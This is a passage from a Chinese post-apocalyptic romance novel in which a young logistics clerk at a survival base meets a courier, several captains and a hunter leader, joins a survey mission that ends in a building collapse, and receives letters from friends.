尽量避开架子走,就是这么一避,反倒右脚绊到了一个东西,她差点整个身体栽倒过去,还好及时地稳住了身体,她不小心踢到了一只椅子腿,但椅子上睡着的人只是被她撞得晃了晃,却并没什么大的反应。
他掀开盖在身上的军大衣,慢悠悠地转过头,眼睛半睁着,像是刚睡醒。
“有事吗?”
林阮儿这才看清他的样子。
男人的身形修长,窝在实验室里常见的金属折叠椅里,一双长腿随意伸展着,他穿了件工装裤,上身是件黑色紧身背心,露出里面结实的肩膀和手臂线条。
他的皮肤是健康的小麦色,脖子上挂了个银色的牌子,随着他的动作轻轻晃动。
他左耳戴着一枚纯黑色的耳钉,头发是深色的红,有些凌乱,几缕碎发搭在额前,男人的五官很立体,鼻梁高挺,嘴唇呈心形,眼神懒洋洋的,好像对什么都提不起什么兴趣。
“对不起,对不起!我没怎么注意……”林阮儿赶紧道歉。
男人并没立刻回应,而是先打了个哈欠,才慢吞吞地说:“算了,没多大事儿。”
他把军大衣拢了拢,从椅子上站起来,动作不紧不慢的。
这时候隔离区的门开了,谢忱走了出来,手里拿着一沓数据板,看见他,谢忱愣了一下。
“秦槐?你什么时候来的?”谢忱问。
被叫做秦槐的男人抓了抓头发:“有一会儿了,你们这儿的椅子还挺好睡的。”
谢忱笑了:“你这家伙又睡那儿?自己的大床不睡,来我这小地方挤。”
“哦。”秦槐简短地回答,已经开始收拾他那件军大衣,看样子是打算换个地方继续睡。
林阮儿站在一旁,显得有一点点尴尬。
“这位是林阮儿,后勤部的。”谢忱向秦槐介绍,又转向林阮儿,“这是秦槐,我朋友。”
“你好。”林阮儿伸出手,对她说。
秦槐瞥了她一眼,没握手,只点点头算是回应,然后对谢忱说:“你们这儿还招这么小不点的?”
林阮儿脸一红,她确实不高,只有一米六出头,站在秦槐面前更是显得娇小。
谢忱推了推眼镜:“秦槐,别乱说话,人家是后勤部的新人,少调侃。”
“好。”
秦槐说着,冲谢忱扬了扬下巴,道:“走了。”
“你这次待多久?”谢忱问。
“看情况,可能几天,可能几周,谁知道呢?”说话间,秦槐已经转身往走廊另一头走了,背对着他们挥了挥手。
等他走远了,谢忱才转向林阮儿:“你别介意,他人就那样,他父母是地质勘探队的,常年在野外跑,他性格就比较散漫,所以,他对住哪儿、吃什么都不太在意,能睡能吃就行。”
“他做什么工作的?”林阮儿忍不住问。
谢忱犹豫了一下,才说:“他目前专在不同基地间运送特殊物资和信息,是很危险的工作,但秦槐做得好,很多基地都很欢迎他。”
林阮儿明白了。
后来听谢忱说才了解到他的职业是跑者,是在末世里少数还能保持一定自由度的职业,但死亡率简直高得吓人,要穿越被感染者占领的区域,躲避强盗团伙,还得应付各种突发状况,难怪秦槐看起来那么疲惫,随时随地都能睡着。
两人聊了一阵,就分开了,林阮儿去了雨燕基地的食堂,食堂是在负二层,是个能容纳两百人的大空间。
墙壁上面刷着已经褪色的安全标语,几张长条桌和板凳整齐排列着,这会儿正是饭点,食堂里坐了大概一半多的人。
林阮儿排队打饭,今天的菜单写在入口处的小黑板,有糊状的玉米粉营养粥、杂粮馒头、肉干烩菜等,食物保持着基本的热量补给,林阮儿要了一份玉米营养粥、一碗汤和一份肉干烩菜,等轮到领水果罐头时,她犹豫了一下,还是选了黄桃罐头,黄桃罐头在这里完全是奢侈品,一周只能领一次。
她找了个角落的位置坐下,小口小口地吃着,玉米营养粥的味道还可以,里面有玉米的颗粒,咬一口很是饱满,汤里面除了蛋花外,还加了一些紫菜、葱花,肉干烩菜算是今天吃得比较有油水的了,之前的菜都是土豆胡萝卜,菜吃起来就硬邦邦的,没有油水,靠着盐放得足,才能勉强吃下去。
最好的当然是黄桃罐头,林阮儿用勺子小心地舀出一块,金黄剔透果肉盛在勺子里,她把它放进嘴里,甜蜜的汁水充盈在了舌尖,又解渴又好吃。
“阮儿,这儿有人吗?”
林阮儿抬起头,是后勤部的同事李姐。
她的盘子里面就装了一碗肉干烩菜,不过盛得满满的,快要从盘子里面溢出来了,李姐跟林阮儿说:“这个才能填饱肚子,不如多拿一些这个菜。”
林阮儿还是觉得营养搭配均衡比较好,因为同样的饭卡积分,她还能多打几份菜,林阮儿对此并没说什么,而是摇了摇头:“没人,您坐吧。”
李姐坐在她的对面,问:“对了,你下午是不是要去仓库整理新到的物资?”
林阮儿点头:“嗯,吃完饭就去。”
“那还真挺费事的,估计有你一阵忙了。”
“是啊。”
午休半小时左右,林阮儿继续在后勤部工作,她走到了那边的仓库里,需要照着清单开始核对新到的物资箱,这批是医疗用品,大部分是绷带和基础药品,她一个个清点,记录,然后把箱
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子搬到指定的货架上面。
清点完全部的医疗物资后,林阮儿开始整理旁边的食品箱,这些是压缩干粮,保质期长,是基地的重要储备,箱子倒是不算很重,但她在搬到第五箱时,忽然,听见了一个声音,是从仓库的深处传来的,很轻微的动静,她朝声音的方向走了过去。
货架后面堆着一些废弃的包装材料,形成了一片阴影区。手电筒的光线照不进去,只能看见边缘。
“有人吗?”林阮儿小声问。
没人回应她。
林阮儿松了口气,准备继续工作,但就在这时,声音又传了出来,她的心跳渐渐加快,一步,两步,三步……最后,她绕过了一个货架。
货箱后面躺着一个人,是他。
那人侧躺在几个空纸箱上,军大衣盖在身上,一只手枕在头下,睡得很沉。
林阮儿还没开口,秦槐已经坐起身,他揉了揉眼,才看向了林阮儿。
林阮儿:“您好,这里是不能睡觉的。”
“哦,我到这边来拿东西,等太久了,仓库管理的人说这批货下午三点到,现在五点半了,等得睡着了。”男人顺便看了一眼自己腕子上的机械腕表,道。
“你要拿什么?也许我能帮你找找。”她对秦槐说。
后勤部的人确实说过今天会有一批特殊物资到,应该是他需要的东西吧?
这会儿,仓库管理的人过来,帮他拿了东西,秦槐看她一眼,说:“看,不用了,不过你的好意,谢了阿。”
男人的黑色背心紧紧裹在身上,勾勒出宽阔的肩膀和窄腰,工装裤的裤腿塞进高帮军靴里,更显得腿长。
林阮儿看向仓库管理员,对方抱怨道:“这人可真够怪的,刚才我十分钟前来的时候,人不见了,我还找呢,现在这怎么回事啊?还能大变活人不成啊。”
林阮儿知道事情经过,不好说什么,只是浅浅一笑,看秦槐走远了的身影。
回到木屋时,天已经黑了,旁边木屋里住了一名女护士,叫安幸,两人是后来认识的,算好朋友了,她见今天林阮儿回来得晚了些,问是不是后勤加班了。
“嗯,新到了一批货物,需要处理一下。”
“哦,那你还去仓库了?”
“嗯,去了一趟。”
林阮儿说,但她没提自己遇到秦槐的事。
安幸:“听说今天基地来了个跑者,今天中午我在食堂就看见他看了,戴了黑耳钉,挺帅的,特有型,我听人说,这跑者可厉害了,从铁锤帮的地盘传过来,一点儿事都没,铁锤帮你知道吧?那帮雨林强盗可是见人就抢,完全杀人不眨眼。”
林阮儿很清楚,在末世,最危险的就是这些强盗团伙,占据废弃城市和交通要道,抢劫过往车队和路人,雨燕基地的巡逻队和他们交过几次手,都有伤亡。
“那他是一个人?”林阮儿问。
“是,所以大家都说他不简单。”
28. 第 28 章
两天后,午后的阳光透过了防尘窗洒了进来,后勤部的小江把打扫的扫帚往墙边一靠,蹭到小贺的工位旁边,蹲下身问他:“小贺,你帮江哥我想想辙。”
小贺从一叠物资清单里抬起头,疑惑反问道:“什么辙?”
“林登记员啊,我想约她周末一起逛逛,就我们两人,但不知道怎么说。”
小贺手里的笔顿了顿,他把笔放下了,似乎是在思考些什么,动作缓慢得让小江心焦。
“江哥,我劝你还是死了这条心吧。”小贺说,声音平平的,没什么起伏。
小江愣住了:“啥意思?”
“最近柯队长总往她那儿跑,你没看见?还有秋荃队长也在那儿,今天一早柯队长看林登记员忙完了,就说想带她体验一下越野车,后来秋荃队长也来了,问她在哪儿,有两个队长教她,你说你在那儿算什么?电灯泡都不够亮的。”
小贺怼了他手肘,凑近了说,“江哥,男人最懂男人心,谁会无缘无故频繁接触谁?所以我说还是把那心收收吧。”
小江不说话了,过了好一会儿,他忽然站起身,头也不回地往外走,小贺追上去问去做什么,他回应:“我就去车库看看。”
小贺望着他的背影消失在门口,手里的笔转了三圈,最后也站起身,跟了上去。
车库在基地西侧,是个半地下的结构,小江偷偷摸摸从侧门溜进去,他躲在了一排储物架后面,车库里的空气带着一股机油味。
车库中央的空地上,停着一辆深绿色的越野车,林阮儿站在驾驶座旁边,一只手扶着车门。
她今天穿了件灰色的工装外套,头发扎成个简单的马尾,而柯夜则靠在车头旁,正指着引擎盖里面说着什么,秋荃站在林阮儿另一侧,抱着手臂。
柯夜的声音在空旷的车库里回荡,带着点儿回音:“你看这里,要是陷在泥里或者沙地里,就得用这个。”
林阮儿弯下腰往引擎盖里看,柯夜很自然地凑近了些,指着某个部件,他的手臂几乎贴着她的肩膀。
秋荃清了清嗓子,说:“主要的在于胎压,沙地要放气,增大接触面积,防止划伤胎壁。”
林阮儿只是听着,但这种新名词她确实不太懂,柯夜看了秋荃一眼,笑了笑:“秋队长说得对,不过要在野外可没这条件,所以通常我们出发前就根据预判路况会调好。”
“预判路况也得有经验,不是一两句话就能说清的。”秋荃往前走了半步,站到林阮儿和柯夜中间。
林阮儿抬起头,看看左边又看看右边:“那我应该先学哪个?”
“实际操作,上车,带你转两圈。”柯夜直起身,拍了拍车门。
秋荃低下头,按住了车门,道:“等等,基础理论还没讲完,有些概念得先弄清楚了吧。”
柯夜挑了挑眉,缓声:“边开边讲不是更直观?”
“容易分心,安全第一。”
林阮儿站在他们两人之间,眨了眨眼:“要不秋队长先给我讲理论,然后柯队长带我实操就行。”
空气安静了两秒……
“行啊。”柯夜先开口,退开半步,做了个请的手势。
秋荃反倒愣了一下,然后才走到车头前,开始指着各个部位讲解,他的语速放得慢了些,为了她能听得懂,争取用最直白的话说,林阮儿认真听着,时不时点点头,柯夜靠在一边,视线在林阮儿侧脸停留了一会儿,又移到秋荃身上,垂下脑袋,眼神看向了一边。
“秋队长懂得真多。”林阮儿说。
秋荃的耳朵尖微微红了:“这些都是我们必备的常识。”
柯夜插话,语气故作轻松:“也不是人人都知道的常识,秋队长这是把压箱底的东西都搬出来了。”
秋荃看了他一眼,没接话,继续转向林阮儿:“想试试吗?其实原理懂了,操作起来不难,就是要注意……”
“要注意油门和刹车的配合,越野不是公路驾驶,不能猛踩猛刹。走吧,我坐副驾带你。”柯夜接过话头,走到驾驶座那边拉开车门,道。
秋荃的手握成了拳,又松开了。
林阮儿坐进驾驶座,柯夜很自然地俯身帮她调整座椅位置,他的手臂从她身前横过去,两个人挨得很近。
“这样舒服么?”柯夜温声地问她。
“可以了。”林阮儿说。
柯夜退出来,绕到副驾驶那边上了车,秋荃犹豫了一下,拉开了后座车门坐了进去。
引擎发动了,小江躲在储物架后面,眼睛就一直盯着那辆车,他看见林阮儿握着方向盘,侧头和柯夜说话,看见柯夜笑着回答,以及在后视镜里秋队长板着的脸。
车缓缓开动了,在车库里转了个小圈,林阮儿开得很慢,很小心。
“方向盘不用握这么紧,放松点,对,就这样。”柯夜偶尔会帮她握一下方向盘。
“那换挡呢?”林阮儿认真地问。
“现在不用换,就一挡可以慢慢地走。”
秋荃在后座开口:“其实自动挡会更适合新手,这辆车是手动,上手有点难。”
“学会了手动,以后什么车都能开。”柯夜说。
车又转了一圈,小江觉得自己的胸口莫名堵得慌,他转身想走,却看见不远处的阴影里还站着一个人,那不是自己的同事小贺吗?
小江愣住了,小贺却像没看见他一样,转身悄悄离开了。
他离着老远也能看得出小贺落寞身影,装是装不出来的,那是真情流露而已。
雨燕基地还有娱乐室,这是后来她通过李姐了解到的,地点是在基地的二层东侧,是个比较宽阔的房间,林阮儿趁着周末事情少,自己到这边放松一下,里边有一张老式的唱片机,桌游,还有老式的游戏机。
林阮儿推门进来的时候,房间里空无一人。
她在游戏机前站了一会儿,从口袋里摸出两枚币,这是后勤部发的每月娱乐配额,每个人是有定额的。
游戏机里只有几个简单的游戏:打砖块、小蜜蜂、赛车等等。
她最终还是选了赛车,投了币,这时候的屏幕亮了起来,粗糙的像素画面,简单的操作,只需要她左右控制方向,一个键加速,一个键刹车。
她玩得很投入,没注意到门又开了。
直到一只手伸过来,在她旁边的投币口也投了一枚币。
林阮儿吓了一跳,转头看见韩司昱站在那儿,他今天没穿自己的制服,而是换了一件短袖衬衫,黑色的,衬得人气质格外好。
“韩队长?”林阮儿的手指还按在方向键上,屏幕上的车撞上了护栏。
韩司昱看着屏幕,说:“继续,别停。”
林阮儿转回头,手忙脚乱地把车调正,韩司昱在旁边的操控
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台前站定,选了双人的模式,他的屏幕也亮起来,一辆红色的像素赛车。
“我以为……”林阮儿话说了一半又咽回去了。
“以为什么?”韩司昱按下开始键,两辆车并排出现在起跑线上。
“以为像您这样的人,不会到娱乐室。”林阮儿说,眼睛盯着屏幕上的倒计时。
三、二、一。
两辆车同时冲出去。韩司昱开得很稳,转弯精准,几乎贴着内道,而林阮儿则时不时撞上护栏,生生地落后了一大截。
“怎么?你认为我这种人,不会在这里放松么?”韩司昱偏头对她说。
林阮儿笑了笑:“没有,有点意外而已。”
这时,韩司昱的车过了终点线,林阮儿的车还在最后一段弯道上挣扎。
屏幕显示排名,韩司昱第一名,林阮儿第二名。
“再来一局?”韩司昱问,已经又投了一枚游戏币。
林阮儿点点头,也投了币,第二局开始,她开得比刚才好一点,但还是追不上韩司昱。
“韩队长,难道经常来玩这个么?”林阮儿一边玩,一边问他。
“偶尔,在末世前,这种游戏已经过时几十年了,现在反而成了稀罕物。”
林阮儿倒是挺同意他的说法。
韩司昱的车又过了一个完美弯道,继续说:“那时候我十五岁左右,上中学,时不时地就偷偷去游戏厅,结果被老班抓住过两次。”
林阮儿惊讶地看了他一眼:“想象不出来韩队长逃课的样子。”
韩司昱嘴角微微弯了弯:“人都会变的。”
这回,林阮儿终于有一次转弯没撞墙,两人的车稍微拉近了点距离。
“车库的越野车学得怎么样?”韩司昱忽然问。
林阮儿的手指滑了一下,车差点就冲出了赛道,她问韩司昱怎么知道的这件事。
男人从容回答她:“基地里没什么秘密,两个队长亲自教,阵仗不小。”
“他们确实教了我一些基础知识。”林阮儿重新把车开回赛道,这次开得更小心了。
韩司昱没再说话,两辆车一前一后冲过终点,这次虽然差距小了点,但仍旧是韩司昱赢。
两局都胜了的韩司昱转过身,靠在座椅上,看着林阮儿:“如果你真的想学越野驾驶,在车库里转圈不够,得去野外。”
林阮儿抬头,两人目光相触:“我能去吗?”
“三天后,有次外围勘察任务,我需要个记录员,我会推荐你去。”韩司昱淡淡地说。
林阮儿愣了会儿神,屏幕上的游戏已经结束了,返回了待机画面,像素小人在那里一跳一跳的。
“谢谢你,韩队长,我会考虑的。”
韩司昱点点头,直起身:“继续吗?我还有两个币。”
林阮儿看了看手里剩下的最后一枚币,摇了摇头:“不用了,我的水准还是不怎么够,彻底认知到了自己的不足。”
“游戏这方面就是虚拟空间比个高下,没必要搞得那么严肃。但实话说,你进步很快,第二局不就只差一点了?”
“我感觉是韩队长故意让着我的吧?”林阮儿说,她笑着,一笑起来她的眼睛就变成了月牙状,弯弯的很好看。
韩司昱并没否认,直勾勾地看着她,认为她是个很有意思的人,很值得再去了解、探究……
29. 第 29 章
三天后,韩司昱带领的勘测队出发那天,林阮儿坐在越野车的副驾驶座上,车子开出基地大门时,她回头看了一眼,基地的高墙在晨雾中越来越模糊。
“紧张?”韩司昱握着方向盘,眼睛看着前方的路。
林阮儿点点头,又摇摇头:“有点。”
路越来越颠簸,韩司昱开口对她说:“抓着扶手。”
她乖乖抓住头顶的扶手,韩司昱有些不放心地,偏头看了她一眼,见她确实抓住了,这才移开了目光。
车开很快便开进一片树林,韩司昱开车的样子很专注,眉头微微皱着,嘴唇抿成一条直线。
“我们这是去哪儿?”林阮儿问。
“旧城区边缘,有报告说那里有栋建筑还算完整,去看看能不能做临时补给点。”
“韩队长经常出这种任务吗?”
韩司昱打了个方向,避开路上的一个大坑,说:“嗯,今天这种属于轻松级别的,所以带上你。”
车开了大概两个小时,韩司昱缓缓减速,把车停在一棵大树下,他熄了火,车厢里安静了下来。
“是到了吗?”林阮儿往窗外看。
韩司昱解开自己的安全带,顺便安全带也帮她解开了,沉声:“还没,只是下车活动一下,坐这么久腿都麻了。”
林阮儿跟着下了车,这里是一片树林间的空地,杂草长到膝盖那么高。空气里有股潮湿的泥味,还有野花香。
韩司昱从后备箱拿出两瓶水,递给了她一瓶,随后自己拧开盖子,仰头喝了几口,她也打开水喝了一口,水是温的。
“累吗?”韩司昱靠在前车盖上,看着她。
“不累。”林阮儿这么说,但其实她的腰已经开始酸了。
之后,韩司昱从口袋里掏出个东西,是个扁扁的小铁盒,他打开了盖子,里面是几块糖,用彩色的糖纸包着。
“吃点糖,补充能量。”他递给她一块。
林阮儿接过糖,剥开糖纸,糖是淡黄色的,半透明,闻起来有柠檬的味道,她放进嘴里,甜里还带着点酸。
“韩队长原来还随身带糖啊。”她问。
韩司昱自己也吃了一块,回应她:“以前出任务时间长,饿的时候吃一块能顶一顶。”
后边跟着的车随之停下,男人下车绕到韩司昱这边,道:“韩队。”
韩司昱冲他点头,男子看向站在他旁边的女人,问:“这是……”
“林阮儿,新来的后勤部登记员,哦,这是尹腩,新调来的勘测员,以前在北边基地,上个月刚过来。”
林阮儿哦了一声,和他礼貌性的握了握手,男子的手很粗大,掌心暖暖的。
后来,车辆继续行进,韩司昱开着车,林阮儿问:“勘测员他看上去挺年轻的,也不知道年纪多大了。”
林阮儿刚才和他握手时,抬眼看,发现尹腩皮肤很白,眼型偏圆,是那种典型的狗狗眼,脸型流畅,真的很像是那种年轻男大啊。
半晌,韩司昱道:“二十八了,不算年轻了。”
林阮儿没再搭话,车内气氛有些沉闷,车子大概又开了一个小时左右,路两边出现了更多的建筑废墟,有的完全倒塌了,有的还勉强立着。墙上爬满了藤蔓植物。
前车突然减速,尹腩也只好跟着减速,拿起对讲机:“韩队,怎么了?”
“前边路口有障碍,得绕路。”
林阮儿探身往外看,前面的路口确实堆满了一些乱七八糟的杂物,把路堵得严严实实。
“我查看地图,找绕行路线,你跟着我。”韩司昱说。
“韩队,地图上看,往左有条小路,能绕过去,但路窄,得小心点开。”
韩司昱心想这小子平时做事慢吞吞,怎么看地图的工夫现在比自己都快,他拿着的是纸质地图,尹腩用的电子的,快也确实情有可原啊。
最后他们终于绕过了那个堵死的路口,重新回到主路上,前面的建筑更高了,这里应该是旧时代的小型商业区。
林阮儿把包放到前边,韩司昱瞥到了昨天在游戏室里用娃娃机抓到的娃娃,韩司昱的抓娃娃能力很强,几乎一抓就是一个,但林阮儿要自己尝试,在她了解了韩司昱抓娃娃的方法后,自己最终用了十次左右才抓到了一只娃娃,用完了她全部的币,后来就把那棕色小狗挂在了自己的随身包上面。
韩司昱:“你还带着它?”
“啊?”一开始,林阮儿不知道他是在说自己的娃娃,后来说,“哦,这娃娃挺好看的,就留着挂上去了。”
三辆车队就在一栋五层楼前停下来,尹腩和韩司昱下车,第三辆车开车的士兵,和其他士兵全部下来,跟上他们,尹腩也看到了林阮儿包上带着的娃娃,问:“你这娃娃还挺可爱的,它叫什么啊?”
林阮儿摸了摸娃娃的头:“它叫小棕。”
尹腩于是笑了笑:“行,小棕同志,那得今天好好执行任务啊。”
大家继续往前走,这楼整体的状况尚可,外墙虽然脏,但没怎么破损,大门是玻璃的,已经碎了,只剩下空荡荡的门框。
韩司昱命令所有人:“就这儿,所有人检查装备,尹腩,你带两个人先去看看入口,检查楼体结构,其他人警戒。”
尹腩已经带着人到了楼门口,他朝里面看了看,回头喊:“韩队,里面挺暗的,得用手电。”
韩司昱走过去,林阮儿跟在他身后。
一行人就这么走进楼里,一楼是个大厅,空荡荡的,地上积了厚厚的灰尘,手电筒的光柱照亮了墙壁和天花板。
尹腩:“结构还行,没有大面积开裂,承重墙都完整。”
“分两组,尹腩,你带两个人检查一到三楼,骞子,你带两个人检查四到五楼,林阮儿跟我,记录整体情况。”
尹腩答好,士兵骞子也答好。
大家分头开始行动了,林阮儿跟着韩司昱在大厅里转,她翻出包里面的记录本,时不时记下点一些有用的信息。
韩司昱用手电照着四周,对她说:“这里以前可能是商场,你看那边,像不像服务台?”
林阮儿顺着他指的方向看去,确实有个半圆形的台子,台面已经烂了,但还能看出形状。
她走过去,想看得更仔细一些,台子后面有些散落的纸张,已经发黄变脆,一碰就碎,她小心地捡起了一张,上面竟然还印了字,但已经看不清了。
“别碰那些,可能有霉菌。”
林阮儿赶紧放下了纸,然后他们在大厅里转了一圈,没什么特别的发现,正准备上楼时,楼上突然传来尹腩的声音:“韩队,上来看看,三楼有发现!”
韩司昱和林阮儿对视一眼,往楼梯走去,楼梯是水泥的,很结实,只是扶手上全是灰。
到了三楼,尹腩站在一扇门前,门上有块牌子,牌子上的字还勉强能认出来,是儿童乐园。
“里面好像还留着东西。”尹腩说。
韩司昱推开了门,里面是个很大的空间,地上铺着彩色软垫,虽然已经脏得看不出颜色了,墙上有卡通图案的壁画,褪色得厉害,但还能看出画的是森林和小动物。
最让人惊讶的是,房间角落里居然还有游乐设施,一个小滑梯,一个塑料球池,还有几个摇摇马。
尹腩已经走进去了,他踩在软垫上,说:“我天,这地方保存得也太好了。”
只是这么一踩,忽然有了一声奇怪的声音,像有什么东西倒了,原来这层楼已经不结实了,韩司昱及时发现,赶紧让
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他们全部的人撤离出来。
三楼,他们让林阮儿先走,她被两人护在身后,下到二楼,一片漆黑,因此,韩司昱拿着手电先走,林阮儿跟上了,她听到又有一阵古怪声音,就在头顶,她抬起了头,看见天花板上一块石膏板松动了,正往下掉。
后面一个人影扑过来,因为冲力太大,尹腩和林阮儿他们一起摔倒在地,石膏板砸在旁边,碎了一地。
灰尘呛得林阮儿直咳。
“没事吧?”尹腩问。
此刻,他还压在她身上,用胳膊护着她的头。
林阮儿点头,尹腩起身就伸手拉她,林阮儿抓住他的手,站了起来。
她根本没有发觉,尹腩经过她两次触碰,羞得直低着头,不看她。
“快走!”韩司昱已经到了门口,朝他们喊。
三人冲出房间,往楼梯跑,但楼梯方向传来更多的坍塌声,灰尘直接就涌了上来。
“楼梯不行了,得找别的路!”韩司昱提醒。
他用手电照向走廊另一头:“那边有安全通道的标志,跟住了我。”
他们跑到走廊尽头,果然有一扇门,门上有个绿色的小人标志,韩司昱推门,但门锁着。
他后退两步,一脚踹在门锁的位置,门开了,后面是安全通道,有楼梯向下。
韩司昱让林阮儿先下去,走出去后,这里不是他们进来的那个大厅,是在楼后一个堆满了杂物的后院。
队员们全部撤离,灰头土脸的,但看上去都没受伤。
“都没事吧?”韩司昱的眼睛扫过每一个人,问。
眼神尤其在林阮儿身上停留更久,林阮儿:“嗯,我没事。”
韩司昱确认她没有事,才继续道:“楼体不稳定,不能待了,我们得赶紧离开这里,上车,大家立刻撤出这里。”
车队停在楼前面,得绕过去,这里都是凹凸的坡,很难走,林阮儿跟着大家走,但她腿实在软得厉害,走得很慢。
韩司昱回头看了她一眼,突然走回来。
“怎么了?韩队长。”林阮儿问。
韩司昱没说话,直接弯腰,把她抱了起来。
林阮儿惊得叫了一声,下意识抱紧了他的脖子。
“韩队?”尹腩回头,眼睛瞪大了。
韩司昱语气平静十分:“她走不动了,所有人别傻愣着了,继续前进。”
队员们面面相觑,惊得嘴巴都合不上了,但无人敢说什么,尹腩走在了最后面。
林阮儿能感觉到韩司昱的手臂很有力,稳稳地抱着她,他的体温透过衣服传过来,很暖,她不敢动,也不敢说话,就这么僵着。
“放松,我又不会摔了你。”
林阮儿慢慢放松下来,闻到他身上有轻微的汗味,但不难闻。
出来后,就是楼前的空地,车队就停在那里。
韩司昱把林阮儿放下,他的动作很轻:“能走了吗?”
林阮儿点点头,他温柔地把她放了下来,之后,大家迅速地上了车,车队瞬间驶离了那栋了楼,林阮儿她从后视镜里能看到,三楼一侧,外墙就已经裂开了一道大口子,摇摇欲坠,恐怕再不久,楼就要整个倒塌了。
开出几百米后,韩司昱才开口:“刚才是不是吓到了?”
林阮儿嗯了一声,说:“还好,尹腩他救了我。”
“哦,那小子跟我说了,回去给他记一功。”
他递过来一个小盒子:“这个给你。”
林阮儿接过盒子,打开,里面是个金属小挂坠,做成了小鸟的形状。
“把它戴着吧,下次出任务,这个就是你的护身符了。”
林阮儿拿起挂坠,小鸟做得很精致,翅膀的纹理都能看很清楚。
30. 第 30 章
后勤部通常周末休假两天,林阮儿走出木屋,不知不觉地就走到了雨燕基地的一处,那是一个金属屋顶,阳光照射下,发出耀眼的光,导致她眯了眼,然后睁开了眼。
这地方,居住区由上百个六边形单元拼接而成,每个单元门口都挂着编号牌,有些门边还晾着一些士兵的衣服。
窄道上偶尔有人走过,而她就沿着主道慢慢走,一阵脚步声音忽然传来。
她转过头,看见从后边走过来的人影。
那男人简直壮得不像话,林阮儿估摸着他可能有两米高,肩膀很宽,穿着件深棕色的皮质背心,露出的两条胳膊上面有两道伤疤,一道是旧的疤痕,另外一道看着像是新伤。
男人下身一件橘黄色的工装裤,等他走近了,林阮儿看清了他的脸。他的鼻梁中间有道细疤,下巴有着一圈极淡的胡茬,皮肤是常年在户外活动时晒出的深褐色,深灰双眼盯着她。
停顿过后,然后是认真的打量,他低头看她:“你谁?”
林阮儿介绍了自己的身份,男人闷声:“哦,新来的。”
林阮儿点点头,她注意到男人左耳上缺了一小块,像是被什么咬掉的。
“后勤部林阮儿,后勤居然还招你这样的小家雀儿?”男人又问,他走近了几步,林阮儿不得不微微仰头看他。
“哦,忘了自我介绍,晨海,猎人队长。”
林阮儿:“猎人队长是?”
这里的队长她大多都见过了,没有前缀是猎人二字的,对方看她不解的样子,道:“猎人队是负责系统性的一切蛋白质来源,是肉食、皮革和军用工具的唯一供应线,需要在墙外搏命,才能带回活下去的物资。懂了吗?”
林阮儿:“清楚了,是件很辛苦的事。”
“你呢?一个人出来逛?”
“想走出来透透气。”
晨海:“这儿无非就是兵舍居住地,也叫蜂巢,没有什么好看的,不过你再往东边走,旧水塔那边的视野不错,能看到一些树冠层,通常,猴子、树懒、各种鸟类都会住在高高的树枝上。”
林阮儿正要接话,忽然一个身影朝她走来,那人有些眼熟,身上有着跑者的轻便装备,背上有个防水的信使包。
他停下步子,目光在林阮儿和晨海之间转了个来回。
是秦槐。
“林阮儿,这里有你的信。”秦槐从包里掏出一个密封的信袋,递给了她。
林阮儿:“我的?”
“这些信是从中央通讯站转过来的。”
林阮儿接过信袋,她撕开封条,抽出里面的信件时愣住了,不止是一封,而是一叠。
晨海还站在那儿,没走,他看着林阮儿翻阅信件。
林阮儿快速扫过第一封祁牧炎的信,内容比她预想的要长,他详细询问了她的健康状况、住宿条件、饮食,然后花了整整两段描述前哨站近期的安全形势,还有一些关切的叮嘱,最后一段写的是他正在想办法,申请调她回去。
最后一句是:可能需要一些时间,但已经在推进。
第二封信是尹宿的。
他除了一些简单的问候之外,更多的是关心她此刻的状况,还有傅青源、苏水鹤,林阮儿正在往后翻看,秦槐看她手里拿的一叠信,说:“林登记员,要不回去再看?”
林阮儿于是把这些信件全部放到自己背后的包里,还好随身带着了,放进去后,秦槐好奇地问:“这些信都谁写的啊?这么厚一沓,情书?”
林阮儿摇了摇头,说:“朋友。”
“你的朋友还真多。”
秦槐说完,又道,“我平时不做送信工作,送信的那位哥们儿最近有事,我就顺便接了,一次性这么厚几封,确实少见。”
这时,晨海向前走了一步,问:“跑者进来要报备,你报了吗?”
秦槐的表情僵了僵,林阮儿看出来,他确实没报备。
晨海:“你的职业性质是很自由,但还没到不报备的程度。”
秦槐掏掏耳朵,懒懒地道:“我就送个信,马上走,林阮儿,需要回信的话去中央通讯站登记,跑完你这趟就行。”
林阮儿点头,她看样子乖巧极了,和上回见她不同,脑后绑了蝎子辫,换下了后勤制服换上私服,白衬衫长牛仔裤,有种别样清秀的美。
秦槐看看她,又看看晨海,最后耸耸肩,凑近她耳畔,说:“成,不过提醒你一句,猎人队的家伙们野性未驯,小心点。”
他说完就离开了,林阮儿脑中还在回想着他刚才的话,晨海见人走了,目光就落在林阮儿手里的信封:“是前哨站来的?”
林阮儿点头:“朋友们。”
“接你回去?”
“嗯。”
短暂的沉默后,他从口袋里摸出个扁铁盒,打开,捏了撮烟丝放进嘴里咀嚼,林阮儿注意到他的手指粗壮,关节处有厚茧。
“雨燕基地没那么糟,至少比前哨站安全。”
晨海咀嚼烟丝的动作慢了下来。他盯着林阮儿看了好一会儿,像野兽打量陌生的生物,好奇但不带恶意。
“往水塔那边去,能看到我们昨天带回的猎物。”他顿了顿,“有兴趣的话。”
“远吗?”她问。
“不远。”晨海说完,蹲了下来,背对着她。
林阮儿愣住了:“晨队长。”
“上来。”
林阮儿愣住了:“什么?”
“坐我肩上,能从上面看得更清楚。”
“我自己走就行。”林阮儿说。
晨海站起来,转身面对她:“路不好走,你容易滑倒。”
“我不怕。”
“那行。”晨海没动,显然在等她一起走。
林阮儿犹豫了两秒,跟了上去,他们离开蜂巢,拐进一条更窄的巷道。
这里的墙壁更高,晨海走在她前面半步,放慢了步伐,但他一步几乎抵她两步,林阮儿还是得小跑着才能跟上。
“你来了几天?”晨海问。
“一周左右。”
“待得习惯么?”
“还好,待遇都挺不错的。”林阮儿回应他。
之后,他们转过一个弯,空气里的气味变了,她闻到了一股十分浓烈的血腥气。
林阮儿停下步子,转弯的一处就是目的的,他们停到一扇大铁门前。门虚掩着,晨海推开门,侧身让林阮儿先进。
里面是个宽敞的院子,水泥地上有深深的血槽,院子的中央挂着三头已经剥了皮的野兽,它们的体型像牛但更大,头部长着扭曲的角。
几个穿着防水围裙的人正在分割兽的肉块。
林阮儿见过死物,但没见过这么多,她下意识屏住呼吸。
自己只想看看猎物都有什么,却没想到会看到这一幕,她转过头去,旁边的晨海站到她身边,说:“这是昨天在雨林里猎的,一窝,肉能吃,皮能制甲,角磨粉入药。”
一个正在剔骨的男人抬头看见晨海,问:“头儿!这批肝特别肥,留点晚上烤?”
“嗯。”晨海应了一声。
林阮儿背过身,晨海:“你不喜欢血腥气,跟我来。”
